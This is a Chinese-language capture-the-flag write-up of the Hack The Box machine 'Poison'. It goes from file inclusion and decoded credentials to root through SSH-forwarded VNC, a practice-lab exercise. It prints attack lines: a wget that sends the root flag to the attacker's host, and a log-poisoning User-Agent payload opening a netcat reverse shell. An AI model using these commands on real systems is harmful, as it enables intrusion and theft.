013-Poison
靶机IP:
10.10.10.84
Scan
Nmap 快速扫描:
┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 10.10.10.84 -F
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 16:41 CST
Nmap scan report for 10.10.10.84
Host is up (0.27s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds
Nmap 全端口扫描,结果也是一样。
Web
80端口Web服务访问如图:
翻译:
用于测试本地 .php 脚本的临时网站。
待测站点:ini.php、info.php、listfiles.php、phpinfo.php
试下输入phpinfo.php,结果如图:
文件包含
这个链接形式http://10.10.10.84/browse.php?file=phpinfo.php
,猜测是否存在文件包含漏洞。
访问/etc/passwd:
直接包含/home/charix/user.txt
和/root/root.txt
报错,权限错误。
通过phpinfo查看配置,allow_url_include
为off,放弃远程文件包含。
刚才看了phpinfo.php,再看一下其他文件,有个listfiles.php,结果如下:
Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )
包涵下pwdbackup.txt看看
对这个字符串进行base64解码,多重复几次
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
最后解码了13次得到明文:
Charix!2#4%6&8(0
first shell
通过SSH使用上述密码登录
┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ ssh charix@10.10.10.84
charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)
charix@Poison:~ % ls
secret.zip user.txt
charix@Poison:~ % cat user.txt
eaacdfb2d141b72a589233063604209c
charix@Poison:~ %
通过Python传输secret.zip
charix@Poison:~ % whereis python
python: /usr/local/bin/python /usr/ports/lang/python
charix@Poison:~ % python --version
Python 2.7.14
charix@Poison:~ % python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.14.22 - - [30/Apr/2023 13:26:00] "GET /secret.zip HTTP/1.1" 200 -
同时也上传 linpeas.sh进行信息搜集
charix@Poison:~ % wget http://10.10.14.22/linpeas.sh
charix@Poison:~ % ls -l
total 808
-rw-r--r-- 1 charix charix 776073 Mar 29 2022 linpeas.sh
-rw-r----- 1 root charix 166 Mar 19 2018 secret.zip
-rw-r----- 1 root charix 33 Mar 19 2018 user.txt
charix@Poison:~ % chmod +x linpeas.sh
charix@Poison:~ % ./linpeas.sh > result.txt
解压secret.zip,发现需要密码,使用之前的ssh密码成功解密:
┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ unzip secret.zip
Archive: secret.zip
[secret.zip] secret password:
extracting: secret
┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ ls -l
总计 68
-rw-r--r-- 1 xavier xavier 58027 4月30日 19:34 result.txt
-r--r--r-- 1 xavier xavier 8 2018年 1月24日 secret
-rw-r--r-- 1 xavier xavier 166 2018年 3月19日 secret.zip
但是发现是乱码,暂时不知道有什么用,暂时搁置。
┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ cat secret
��[|Ֆz!
┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ xxd secret
00000000: bda8 5b7c d596 7a21 ..[|..z!
考虑bda85b7cd5967a21
可能是MD5,通过hashcat碰撞失败
root shell
查看linpeas的输出结果,寻找提权的方法。
path变量中有/home/charix/bin/
,没找到利用方法。
/etc/passwd中除了root用户,还有toor用户,有没有可能用上?
进程中有vnc,寻找利用方法。
Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
解释一下命令行选项:
:1
- 显示编号 1-rfbauth /root/.vnc/passwd
- 指定密码认证文件-rfbport 5901
- 连接端口localhost
- 本地监听
这里提到了5901端口,再查一遍端口列表信息:
charix@Poison:~ % netstat -anl
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 127.0.0.1.5801 *.* LISTEN
tcp4 0 0 127.0.0.1.5901 *.* LISTEN
...
想用netstat -anlp
查看具体的进程,但是失败了,不支持-p选项。
用sockstat -l
进行查看
SSH端口转发
使用SSH进行端口转发,在Kali上运行:
ssh -L 5801:127.0.0.1:5801 charix@10.10.10.84
ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84
这里指定-fN,可以让ssh端口转发处于后台
ssh -L 5801:127.0.0.1:5801 -fN charix@10.10.10.84
ssh -L 5901:127.0.0.1:5901 -fN charix@10.10.10.84
SSH选项说明:
-C 请求压缩所有数据
-D 动态端口转发
-f 后台执行SSH指令
-g 允许远程主机连接主机的转发端口
-L 本地转发
-N 不执行远程命令,处于等待状态(不加-N会直接登录)
-R 远程转发
nmap对本地127.0.0.1的5801/5901端口进行扫描:
┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 127.0.0.1 -p5801,5901
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 01:37 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).
PORT STATE SERVICE VERSION
5801/tcp open http Bacula http config
5901/tcp open vnc VNC (protocol 3.8)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.73 seconds
然后通过VNC进行连接
┌──(xavier㉿kali)-[~]
└─$ vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password:
发现需要密码,这个密码应该就是之前secret中的数据。
VNC连接
# 看WP发现,其实可以不解密,直接连接
vncviewer -passwd /root/htb/Poison/secret 127.0.0.1::5901
对secret文件进行解密,bda85b7cd5967a21
github找了个方便易用的:https://github.com/billchaison/VNCDecrypt
echo -n bda85b7cd5967a21 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
在这个场景下,可以对上述命令进行一个优化:
┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ cat secret | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d
VNCP@$$!
然后再通过vnc进行连接:
┌──(xavier㉿kali)-[~]
└─$ vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
VNC连接的话,由于网络原因,可能会出现弹窗,然后长时间白屏的情况,耐心等待即可。
这里面flag不太好复制,最后用了如下方法带出:
root@Poison:~ # wget http://10.10.14.22/`cat /root/root.txt`
716d04b188419cf2bb99d891272361f5
复盘扩展
包含日志getshell
文件包含漏洞配合日志文件可获取webshell
这里的日志文件位置在/var/log/httpd-access.log
,日志记录User-Agent、IP、时间、用户输入等,可以使用如下payload污染日志文件:
GET /browse.php?file=<?php+echo+'test';?> HTTP/1.1
Host: 10.10.10.84
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.22 8888 >/tmp/f'); ?> Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
然后通过文件包含漏洞包含日志文件,触发PHP代码解析
?file=/var/log/httpd-access.log
这就拿到了webshell。
SSH 远程转发
之前用的方法是SSH本地转发,也可以使用远程转发。
在受害机10.10.10.84上执行如下命令:
$ ssh -fN kali@10.10.14.22 -R 5901:localhost:5901
kali@10.10.14.22's password:
之后也是访问kali的本地5901端口。